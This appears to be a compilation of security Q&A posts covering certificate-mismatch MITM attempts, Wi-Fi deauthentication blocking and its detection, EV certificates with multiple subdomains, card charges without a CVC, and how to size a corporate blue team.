Perfoming a MITM to intercept SSL/TLS with valid certificate Supposing an attacker is able to perform a Man In The Middle attack and intercept requests from a client that wants to connect to an HTTPS server (let's say www.google.com).

The attacker has a valid certificate (domain : www.randomname.com) signed by Verizon.

He will then redirect the client to his fake server.

Normally, there will be no warning as the certificate is signed by a trusted CA.

Is this a way to bypass HTST protection?

Normally, there will be no warning as the certificate is signed by a trusted CA.

Wrong. Since the subject of the certificate ( www.randomname.com) does not match the URL (www.google.com) the validation will fail and the browser complain. It does not matter if this is "only" a redirect, i.e. even for the domain you redirect from you need a proper certificate.


How does Wifi Blocking work? Can it be detected / prevented? Marriott was accused of blocking personal Wifi access points by

  deauthenticat[ing] packets sent to targeted access points and thus to disrupt access to individual hotspots.

Question

How does Wifi Accesspoint blocking work?
How can a legitimate (company, or ISP) access point detect and prevent such blocking?

Accesspoint blocking works by continually sending deauth packets to the client and access point.  De-auth packets can be easily spoofed.  Both sides then believe that they need to re-authenticate so they do so.  If this is done continuously you can prevent all clients from associating with an AP since they're continuously in an authentication loop.

It's trivial to detect by looking for a flood of de-auth packets on the network.  De-authentication is part of the specification, and involves both client and AP.  So even if the AP had a means to detect and ignore de-auth attacks, it wouldn't help unless the client also implemented a similar mechanism.

There's been some talk of "authenticated deuthentication" to prevent de-auth from an unauthorized party in the first place, but AFAIK it hasn't gone anywhere.


Subdomains on a multidomain EV SSL I have a domain https://joshmurray.eu/ which has a Standard SSL certificate.

I also have two subdomains: http://one.joshmurray.eu/ and http://two.joshmurray.eu/.

I wish to upgrade my SSL certificate to an EV certificate so I can acquire the 'green box'. I wish to have this green box on every page, therefore I need a Multidomain EV SSL certificate - due to Wildcard EV certificates not being available.

My question: are subdomains allowed to be added onto a Multidomain EV SSL?

EV certificates can have several domains (including subdomains) inside the same certificate as can be easily seen when simply looking at existing EV. Take for example the EV certificate for www.paypal.com which is valid for:

history.paypal.com, t.paypal.com, c.paypal.com, c6.paypal.com,
developer.paypal.com, p.paypal.com, www.paypal.com


How does Amazon bill me without the CVC / CVV / CVV2? The card in question is a VISA, if that's of any importance. I've noticed this only on Amazon. All other sites I've purchased something from, ever, have needed the CVC code for the card. However, I know I never entered the CVC on Amazon when I added my card to it, and this has been bugging me ever since. How do they successfully charge the card without the CVC code?

That code isn't necessary. This may cause more fraud and more chargebacks, but Amazon keeps those numbers low so that they can offer a faster shopping experience such as one-click.

The only thing necessary to make a purchase is the card number and, in all but rare cases, expiration date, whether in number form or magnetic. Most systems require more information (such as matching full name, bank phone number, physical billing address with zip code, et al) so that they can deal with fraud and/or chargebacks, and sometimes this is enforced by the issuing bank.


How big should a blue team be? Let's say I wanted to convince my management that my company needed a blue team. I have all the arguments ready and I'm sure I'll give a great presentation. At the end I will have to spell out what it will cost. Therefore I should be able to say how big my blue team will be.

My blue team will look like the okay Wikipedia definition of a blue team:

  A blue team is a group of individuals who perform an analysis of information systems to ensure security, identify security flaws, verify the effectiveness of each security measure, and to make certain all security measures will continue to be effective after implementation.

Is there are a formula of some sort to calculate how big my blue team should be?

For instance, one person in the blue team per 100 employees, per 100 endpoints, per X customers or for every 100K$/€ of turnover? Or maybe a mixed calculation of that?

My threat model includes being able to defend against script kiddies and medium-skilled hackers that attack my services that are internet-facing, but it does not plan to defend against nation-state attacks and high-skilled and motivated hackers. Insider threats are a thing my company has heard of.

If needed, assume that my company is an IT service provider.

You can use a Poisson distribution related to the number of events and incidents, as seen in Chapter 9, Measuring Security Cost and Value, as part of the book, IT Security Metrics: A Practical Framework for Measuring Security & Protecting Data.

The book also mentions in that chapter how to focus a WBS for hiring and project purposes. Another more-strategic method is Hoshin Kanri.

Highly suggest that you also lever the NIST Special Publication 800-181, the NICE Cybersecurity Workforce Framework (NCWF), to map out roles to knowledge, skills, and abilities for standard operating procedures. A nice interface to those roles can be found here -- http://www.cyberindustry.org/workrole/